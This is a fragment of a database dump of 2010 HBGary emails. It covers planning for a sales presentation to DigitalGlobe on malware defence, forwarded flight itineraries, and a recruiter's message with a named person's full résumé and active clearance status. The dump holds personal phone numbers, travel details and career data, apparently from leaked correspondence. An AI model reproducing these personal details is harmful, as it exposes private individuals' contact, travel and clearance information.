etc.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nWe want to focus on their problem and what they can do based\r\non what others are doing today...\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nOn Thu, Sep 9, 2010 at 6:10 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nOne missing piece is Daniel is expecting to hear a bit about\r\nsocial media during the CIO/CTO presentation.  He specifically told me he\r\nwanted to present some of that information in that forum.  I don&#39;t have to\r\ntake a lot of time, 10-15min. I can convey enough information.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nMaria, to what level do they want information on DoD, NSA,\r\nCyberCOM information?  Is this a how does NSA detect APT (Tutiledge), DHS\r\n(Einstein), how does malware analysis fit into the Incident handling process,\r\netc?  Do they want information on the DIB (Defense Industrial Base)\r\ninitiative and how the CNCI is being implemented?  Legislation?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 9, 2010, at 8:55 PM, Maria Lucas wrote:\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGreg\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn Monday you will be presenting at Digital Globe -- the\r\nagenda is attached and approved by DigitalGlobe.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted will both be attending.  Aaron is there\r\nto present Social Engineering Training and Ted is there to assist with the\r\nActive Defense software sale and will help to provide installation, deployment\r\nand training post-sale.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI am available to review the agenda anytime.  I will be\r\nreviewing the agenda with Ted and he said that he will be there to keep you on\r\ntrack and be responsible to make sure that we cover all the topics important to\r\nclosing the deal.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI would attend the meeting normally but I believe you\r\nare in excellent company already.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nLet me know when you would like to do this?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nMaria\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n \r\n \r\n\r\n\r\n\r\n\r\n\r\n&lt;HBGARY PRESENTATION OUTLINE FOR DIGITALGLOBE.docx&gt;\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n\r\n',11621,'aaron_hbgary_com/11621.html'),(11595,'2010-09-10','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008732.M910096P14101Q6450.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Meeting at Digital Globe','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGreg is flying into Denver below is info\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  &nbsp;Salt Lake City (SLC) to Denver\r\n  (Denver Intl.)\r\n  \r\n  \r\n  09/12/10\r\n  \r\n  \r\n  3:04 PM - 4:36 PM\r\n  \r\n  \r\n  Delta 3615 Operated By: MESABA DBA DELTA\r\n  CONNECTION \r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\nWasn&#8217;t sure if you wanted\r\nto meet him.&nbsp; I am booking him next to Digital Globe, at the Marriott\r\nCourtyard.&nbsp; Thoughts? \r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15994,'aaron_hbgary_com/15994.html'),(11596,'2010-09-10','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008733.M133343P14101Q6451.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,,','Re: DigitalGlobe Outline for Presentation','Their interest is in what other organizations are doing to mitigate risk from APT -- maybe BH presentation as part of on intro on the state of malware, the direction attackers are taking, what organizations (NSA, DOD, etc) are interested in knowing -- from that perspective yes because it is a perfect lead in to policies and technologies and strategies and more confirmation that HBGary has a vision and comprehensive approach to meet the needs of these organizations witnessed by our fingerprinting tool, social media training, active defense for detecting unknown malware, open apis, partnerships with perimeter based vendors and getting baked into solutions by Accenture, SAIC, NSA. Tying back into our funding from DHS and Air Force...\r\nThis is a one hour lunch meeting.  I would suggest a shorter presentation with informal Q&amp;A. On Fri, Sep 10, 2010 at 7:39 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBlackhat, we discussed perhaps using this\r\n\r\n \r\n\r\n\r\n\r\nFrom: Maria Lucas\r\n[mailto:maria@hbgary.com] \r\nSent: Friday, September 10, 2010 7:39 AM\r\nTo: Penny Leavy-Hoglund\r\nCc: Aaron Barr; Greg Hoglund; Ted Vera\r\nSubject: Re: DigitalGlobe Outline for Presentation\r\n\r\n\r\n\r\n \r\n\r\nwhat is bh?\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nDigitalGlobe wants a perfect match of the following names to\r\nthe ID:\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nGreg Hoglund\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nTed Vera\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nDo these match each driver\r\nlicense?\r\n\r\n\r\n\r\nOn Fri, Sep 10, 2010 at 7:28 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nI’m sure Greg can handle a lot of how\r\nthey are implementing the host based stuff, with regards to social media aaron\r\nwill be taking that ball.  Maria did they want any part of the bh talk\r\ndone?\r\n\r\n \r\n\r\n\r\n\r\nFrom: Maria\r\nLucas [mailto:maria@hbgary.com]\r\n\r\nSent: Thursday, September 09, 2010 6:59 PM\r\nTo: Aaron Barr\r\nCc: Greg Hoglund; Ted Vera; Penny C. Hoglund\r\nSubject: Re: DigitalGlobe Outline for Presentation\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n-Yes\r\nhe wants the social media training included.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nMy\r\ninterpretation is they want to know how other organizations are approaching the\r\nmalware problem insofar as these strategies could be adopted at DigitalGlobe.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nfor\r\nexample:\r\n\r\n\r\n\r\n\r\n\r\n-Policies\r\non social media etc.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n-Adoption\r\nof behavior based technologies for detection\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n-Analyzing\r\nmalware and utilizing threat intelligence\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n-Segmenting\r\nnetworks and internet access\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n-Integrated\r\napproach: perimeter protection, web protection, endpoint protection -- what\r\ntechnologies are being adopted\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n-Organizational\r\nimpact: having a SOC versus managed services, having an IR documented plan,\r\nworkflow etc.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nWe\r\nwant to focus on their problem and what they can do based on what others are\r\ndoing today...\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nOn\r\nThu, Sep 9, 2010 at 6:10 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nOne\r\nmissing piece is Daniel is expecting to hear a bit about social media during\r\nthe CIO/CTO presentation.  He specifically told me he wanted to present\r\nsome of that information in that forum.  I don&#39;t have to take a lot of\r\ntime, 10-15min. I can convey enough information.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nMaria,\r\nto what level do they want information on DoD, NSA, CyberCOM information?\r\n Is this a how does NSA detect APT (Tutiledge), DHS (Einstein), how does\r\nmalware analysis fit into the Incident handling process, etc?  Do they\r\nwant information on the DIB (Defense Industrial Base) initiative and how the\r\nCNCI is being implemented?  Legislation?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nSep 9, 2010, at 8:55 PM, Maria Lucas wrote:\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGreg\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn\r\nMonday you will be presenting at Digital Globe -- the agenda is attached and\r\napproved by DigitalGlobe.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nand Ted will both be attending.  Aaron is there to present Social\r\nEngineering Training and Ted is there to assist with the Active Defense\r\nsoftware sale and will help to provide installation, deployment and training\r\npost-sale.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI\r\nam available to review the agenda anytime.  I will be reviewing the agenda\r\nwith Ted and he said that he will be there to keep you on track and be\r\nresponsible to make sure that we cover all the topics important to closing the\r\ndeal.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI\r\nwould attend the meeting normally but I believe you are in excellent\r\ncompany already.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nLet\r\nme know when you would like to do this?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nMaria\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n \r\n \r\n\r\n\r\n\r\n\r\n\r\n&lt;HBGARY\r\nPRESENTATION OUTLINE FOR DIGITALGLOBE.docx&gt;\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n\r\n',132,'aaron_hbgary_com/132.html'),(11597,'2010-09-10','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008733.M389045P14101Q6452.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: Expedia travel confirmation - Sacramento, CA (4) - Sep 13, 2010 - (Itin# 133888602895)','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\nExpedia travel confirmation - Sacramento, CA (4) - Sep 13, 2010 - (Itin#\r\n133888602895)\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGreg\r\n\r\n&nbsp;\r\n\r\nYour return flight to Sacramento.  This will get you in the same\r\nterminal you left from,  It’s DIRECT \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Expedia Travel Services\r\n[mailto:usmail@expediamail.com] \r\nSent: Friday, September 10, 2010 7:47 AM\r\nTo: penny@hbgary.com\r\nSubject: Expedia travel confirmation - Sacramento, CA (4) - Sep 13, 2010\r\n- (Itin# 133888602895)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      &nbsp;\r\n      \r\n      \r\n      \r\n       \r\n        \r\n       \r\n       \r\n        \r\n        Travel Confirmation \r\n        \r\n       \r\n       \r\n        \r\n       \r\n       \r\n        \r\n        Thank\r\n        you for booking your trip with Expedia. This email is your receipt for\r\n        the travel item(s) you just booked. \r\n        \r\n       \r\n       \r\n        \r\n       \r\n       \r\n        \r\n        Remember\r\n        that you can always view\r\n        your itinerary online for the most up-to-date information.\r\n        \r\n       \r\n       \r\n        \r\n        \r\n         \r\n          \r\n          \r\n          \r\n         \r\n        \r\n        &nbsp;\r\n        \r\n         \r\n          \r\n          \r\n          \r\n           \r\n            \r\n           \r\n          \r\n          &nbsp;\r\n          \r\n           \r\n            \r\n            Flight:\r\n            Denver to Sacramento\r\n            Traveler\r\n            name: Michael Hoglund\r\n            \r\n            \r\n            \r\n             \r\n              \r\n              \r\n               \r\n                \r\n                Total\r\n                ticket cost:\r\n                \r\n                \r\n                $185.12\r\n                \r\n               \r\n               \r\n                \r\n                Taxes\r\n                &amp; Fees: \r\n                \r\n                \r\n                $24.58\r\n                \r\n               \r\n               \r\n                \r\n                \r\n                \r\n                \r\n                \r\n               \r\n               \r\n                \r\n                Airfare\r\n                total: \r\n                \r\n                \r\n                $209.70\r\n                \r\n               \r\n              \r\n              \r\n              \r\n             \r\n            \r\n            \r\n           \r\n           \r\n            \r\n           \r\n           \r\n            \r\n            \r\n             \r\n              \r\n             \r\n             \r\n              \r\n              &nbsp;Denver\r\n              (Denver Intl.) to Sacramento (SMF)\r\n              \r\n              \r\n              09/13/10\r\n              \r\n              \r\n              6:05 PM\r\n              - 7:35 PM\r\n              \r\n              \r\n              Frontier\r\n              Airlines 227 \r\n              \r\n             \r\n             \r\n              \r\n             \r\n            \r\n            \r\n           \r\n          \r\n          \r\n          \r\n         \r\n        \r\n        \r\n       \r\n      \r\n      &nbsp;\r\n      \r\n       \r\n        \r\n        \r\n        Special requests \r\n        \r\n        \r\n        We will forward your requests\r\n        to the travel vendor, but as these are subject to availability we can\r\n        not guarantee that they will be honored. Some special requests (e.g.,\r\n        ski racks, rollaway beds) may incur additional charges from the vendor.\r\n        \r\n        \r\n        \r\n       \r\n       \r\n        \r\n        Free\r\n        and special meals are not available on many flights. \r\n        \r\n       \r\n      \r\n      &nbsp;\r\n      \r\n       \r\n        \r\n        \r\n         \r\n         \r\n          \r\n          \r\n          \r\n          \r\n          \r\n          \r\n          \r\n          \r\n          \r\n          \r\n          \r\n          \r\n         \r\n         \r\n         \r\n        \r\n         \r\n         \r\n        View\r\n        your itinerary for complete and up-to-date trip details, or to make\r\n        changes online. \r\n        \r\n       \r\n       \r\n        \r\n       \r\n       \r\n        \r\n       \r\n       \r\n        \r\n        Customer Support \r\n        \r\n       \r\n       \r\n        \r\n       \r\n       \r\n        \r\n        Itinerary\r\n        number: 133888602895 \r\n        \r\n       \r\n       \r\n        \r\n       \r\n       \r\n        \r\n        If\r\n        you have questions about your reservation, fill out our itinerary\r\n        assistance form. We\'ll respond within 24 hours. For immediate\r\n        assistance call Expedia.com at 1-800-EXPEDIA (1-800-397-3342) or\r\n        1-404-728-8787 and have the itinerary number ready. \r\n        \r\n       \r\n       \r\n        \r\n       \r\n       \r\n        \r\n       \r\n       \r\n        \r\n       \r\n       \r\n        \r\n       \r\n       \r\n        \r\n       \r\n       \r\n        \r\n       \r\n       \r\n        \r\n        \r\n         \r\n         \r\n        Want to know\r\n        about great travel deals? Sign\r\n        up to receive Expedia emails! \r\n        \r\n       \r\n       \r\n        \r\n       \r\n       \r\n        \r\n       \r\n       \r\n        \r\n       \r\n       \r\n        \r\n       \r\n       \r\n        \r\n        Thank\r\n        you for choosing Expedia.com \r\n        \r\n       \r\n       \r\n        \r\n       \r\n       \r\n        \r\n        http://www.expedia.com\r\n        \r\n        \r\n       \r\n       \r\n        \r\n       \r\n       \r\n        \r\n       \r\n       \r\n        \r\n        \r\n         \r\n          \r\n          You\r\n          are receiving this transactional email based on a recent booking or\r\n          account-related update on Expedia.com. \r\n          \r\n          CONTACT US\r\n          To contact us or send feedback, please click here or contact us via postal\r\n          mail at: Expedia, Inc., attn: EMC Team, 333 108th Avenue NE,\r\n          Bellevue, WA 98004. For additional assistance, visit the Expedia\r\n          Customer Support Center, or call 1-800-Expedia. \r\n          \r\n          CST# 2029030-40 \r\n          \r\n          ©2010 Expedia, Inc. All rights reserved. Expedia, Expedia Extras,\r\n          Best Price Guarantee, Trend Tracker, Insiders\' Select and the\r\n          Airplane logos are registered trademarks, or trademarks, of Expedia,\r\n          Inc. in the U.S. and/or other countries. Other product and company\r\n          names mentioned herein may be trademarks of their respective owners. \r\n          \r\n          (EMID: ETM_PC_01_1)(MD: 20100910084653)(ETID: 193132) \r\n          \r\n         \r\n        \r\n        \r\n       \r\n       \r\n        \r\n       \r\n       \r\n        \r\n       \r\n      \r\n      \r\n     \r\n    \r\n    \r\n   \r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15523,'aaron_hbgary_com/15523.html'),(11598,'2010-09-10','\"Ed Wallach\" <ed@wallachsearch.com>','/aaron@hbgary.com/new/1297008733.M765773P14101Q6453.eml','','LEE VORTHMAN','LEE VORTHMANLives in VAACTIVE TS/SCI Security ClearanceMaster of Science - Operations Research &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; George Mason UniversityBachelor of Science - Systems Engineering &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;George Mason UniversityWORK HistoryHarris – Crucial&nbsp;Security&nbsp;&nbsp; &nbsp;Senior&nbsp;Cyber Operations Engineer&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp;Chantilly, VA&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp;Dec 2009&nbsp;– PresentLead and manage a team&nbsp;of security researchers and security engineers for federal client. Apply&nbsp;information security skills, tools&nbsp;and techniques towards security operations&nbsp;such as penetration testing (wireless, web app, network), computer network&nbsp;attack&nbsp;(CNA), computer network exploitation (CNE), red teaming, code reviews,&nbsp;configuration audits and traffic analysis.Define measures of&nbsp;effectiveness (MOE), track earned value management (EVM) and analyze&nbsp;performance metrics for large&nbsp;government projects. Develop work breakdown&nbsp;structures (WBS), project schedules and proposals.Conduct business&nbsp;development, strategic operations planning and customer relations management.&nbsp;Prepare technical reports&nbsp;and deliver customer briefings. Perform project&nbsp;mangement, personnel management, interviewing and hiring.Perform information&nbsp;security research and development with a focus on rapid prototyping and&nbsp;deployment of software and&nbsp;hardware for operational use. Conduct reverse&nbsp;engineering, code analysis and protocol fuzzing. Keep up to date with latest&nbsp;security techniques and trends through conferences, training and security&nbsp;related news.SAIC&nbsp;&nbsp; &nbsp;Senior Systems&nbsp;Engineer&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp;Arlington, VA&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;Aug 2005 – Dec 2009Lead&nbsp;systems engineer for national intelligence community (IC) customer sites in&nbsp;support of research and development&nbsp;programs. Apply systems engineering&nbsp;principles and advanced knowledge of information security to design,&nbsp;integrate, test and&nbsp;deploy experimental software, systems and networks.&nbsp;Support advanced technology research experiments by developing&nbsp;requirements,&nbsp;creating test plans, writing documentation and conducting validation and&nbsp;verification of experiment results.Information Security&nbsp;Manager for large government contract in support of the IC. Establish&nbsp;security SOPs, manage security&nbsp;posture for unclassified and classified&nbsp;networks and recommend courses of action to mitigate risk. Prepare and review&nbsp;technical&nbsp;documentation, enforce compliance with established security&nbsp;policies and conduct routine audits.Oversee/manage&nbsp;daily site technical operations including: scheduling planned outages to&nbsp;minimize downtime and maximize&nbsp;productivity. Manage inventory, equipment&nbsp;upgrades, site expansion and systems integration.Conduct vulnerability&nbsp;scans, penetration tests, system/network hardening, incident response and&nbsp;information security research as&nbsp;Information Security/Cyber Warfare expert.&nbsp;Establish baseline security configurations for network devices, systems and&nbsp;applications. Develop procedures for routine patch management, enterprise&nbsp;antivirus management and routine backup &amp;&nbsp;recovery. Designed and&nbsp;established research lab in support of InfoSec/Cyber initiatives.Designed and implemented a system to provide system monitoring,&nbsp;intrusion detection, network usage metrics and alerting&nbsp;capabilities. System&nbsp;decreased turnaround for restoring services, resulting in increased uptime&nbsp;and availability.U.S. Navy&nbsp;&nbsp;&nbsp;&nbsp;Intelligence Specialist 2nd&nbsp;Class&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Norfolk, VA&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Nov 2001- Aug 2005Supervised and assisted 8 junior personnel in ordering, processing,&nbsp;interpreting and disseminating all source imagery in support&nbsp;of USS&nbsp;Enterprise Carrier Intelligence Center (CVIC) during OEF/OIF.Supervised and mentored&nbsp;20 junior intelligence division personnel. Developed and conducted&nbsp;proficiency training. Served as&nbsp;watch supervisor, training officer and acting&nbsp;systems officer. Prepared equipment budget, inventory, personnel performance&nbsp;evaluations and scheduled equipment maintenance. Efforts resulted in 50%&nbsp;increase in advancement and 50% increase in watch&nbsp;productivity.Received&nbsp;Navy &amp; Marine Corps Achievement Medal (NAM) by designing a connectivity&nbsp;solution for critical intelligence systems,&nbsp;expanding maritime intelligence&nbsp;capabilities by 50%. Also designed a software based schematic to track over&nbsp;1,000 pieces of&nbsp;equipment aboard U.S.S. Enterprise.Convera&nbsp;Corp.&nbsp;&nbsp; &nbsp;Network Engineer&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp;Vienna, VA&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Oct&nbsp;1999– Jul 2001Managed corporate&nbsp;LAN/WAN for 500+ user environment including Microsoft Windows Active&nbsp;Directory, Cisco devices and&nbsp;Linux/Unix servers.Designed and implemented corporate wide VPN solution with Cisco VPN&nbsp;concentrators, including implementing tunnels between&nbsp;corporate and remote&nbsp;offices. Reduced existing Frame-Relay mesh and augmented it with VPN tunnels,&nbsp;resulting in 70%&nbsp;reduction in cost of inter-office connectivity.GMU&nbsp;&nbsp; &nbsp;Technical Support&nbsp;Specialist&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;Fairfax, VA&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp;Aug 1997- Oct 1999Provide tier one support&nbsp;to university students, faculty and staff supporting Apple, MS Windows, Unix&nbsp;and Novell Netware.EducationENGINEERING CompetenciesSystems Eng.Requirements engineering; architecture modeling, analysis &amp;&nbsp;design; formulation of dynamic system models; analysis &amp; solutions&nbsp;for&nbsp;dynamic system models; economic &amp; life-cycle cost modeling &amp;&nbsp;analysis; reliability analysis; surveys; human factors&nbsp;engineering; trade-off&nbsp;analysisOperations ResearchLinear/non-linear/integer/dynamic&nbsp;programming; simplex method; sensitivity analysis; transportation problems;&nbsp;network modeling&nbsp;&amp; algorithms; decision theory; inventory models;&nbsp;reliability; Markov chains; queueing theory; Monte Carlo methods;&nbsp;forecasting;&nbsp;discrete event modeling &amp; simulation, financial engineering,&nbsp;capital budgetingProject MgmtEngineering planning,&nbsp;organizing &amp; staffing; formulation of Work Breakdown Structures (WBS);&nbsp;Earned Value Management (EVM)&nbsp;tracking; resource management; project&nbsp;forecasting &amp; estimation; formulation of Gantt/PERT charts; conflict&nbsp;resolution; risk&nbsp;management &amp; analysisTechnical SkillsOSLinux (all flavors), Unix (Solaris), MS Windows (XP, Server), OS X,&nbsp;VMware ESX, BacktrackNetworkingCisco switches/routers;&nbsp;Juniper NetScreen/SSG, SSL VPNs; Firewalls &amp; IDS/IPS; protocol designSoftwareAmap, Arena, Burp Suite,&nbsp;Cain&amp;Abel, Core (Vitech), IDA Pro, Java, Matlab, Metasploit, Nessus,&nbsp;Nmap, Ollydbg, Paros Proxy,&nbsp;Python, Retina, Snort, VMWare, Web ScarabAwards/achievements&nbsp;Omega Rho (OR) Honor Society&nbsp;(2009)GMU Chairman’s Award in Systems&nbsp;Engineering (2009)VSIT&amp;E Outstanding Student&nbsp;of the Year (2009)Armed Forces Communications Electronics&nbsp;Association (AFCEA) Award (2004)Navy &amp; Marine Corps&nbsp;Achievement Medal (2003 &amp; 2005)Navy &amp; Marine Corps&nbsp;Intelligence Training Center (NMITC) Honor Graduate (2002, 2003, 2004)Eagle ScoutCertifications/Professional&nbsp;associations/other&nbsp;CISSP #352057GIAC GREM (Reverse Engineering Malware)GIAC GPEN (Certified Penetration Tester)GIAC GCIH (Certified Incident Handler)SANS GIAC Advisory Board Member and ProctorAFCEA, GMU Systems Engineering Society&nbsp;(SES), IEEE and INCOSE memberKnowledge of classified networks (NIPRNET,&nbsp;SIPRNET and JWICS)References&nbsp;Available upon&nbsp;request\r\n~~~~~~~~~~~~~~~~~~~~~~Ed Wallach&nbsp;President &amp; CEOEd Wallach Search Group 301-365-3291 office&nbsp;&nbsp;301-613-0629 mobile301-365-3292 fax&nbsp;ed@wallachsearch.comwww.wallachsearch.comSEE THE HOT JOBS... CLICK THE LOGO 